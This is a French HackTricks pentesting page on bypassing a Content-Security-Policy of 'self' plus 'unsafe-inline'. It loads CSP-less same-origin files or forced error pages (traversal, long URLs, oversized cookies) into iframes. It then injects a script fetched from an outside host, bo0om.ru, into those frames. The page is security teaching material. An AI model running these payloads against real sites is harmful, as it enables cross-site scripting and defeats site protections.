hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2023-06-03 13:10:46 +00:00

5.6 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
``` Content-Security-Policy: default-src self unsafe-inline; ``` Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple: `eval, setTimeout, setInterval` seront tous bloqués en raison du paramètre `unsafe-eval`.

Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, surtout, JS.

Via texte et images

Les navigateurs modernes transforment les images et les textes en fichiers HTML pour mieux les visualiser (définir le fond, centrer, etc.).

Par conséquent, si vous ouvrez une image ou un fichier texte tel que favicon.ico ou robots.txt avec un iframe, vous l'ouvrirez en tant qu'HTML.

Ces types de pages n'ont généralement pas d'en-têtes CSP et pourraient ne pas avoir de X-Frame-Options, vous pouvez donc exécuter du JS arbitraire à partir d'eux:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

Via les erreurs

Tout comme les fichiers texte ou les images, les réponses d'erreur n'ont généralement pas d'en-têtes CSP et pourraient ne pas avoir de X-Frame-Options. Ainsi, vous pouvez forcer des erreurs et les charger à l'intérieur d'un iframe :

// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥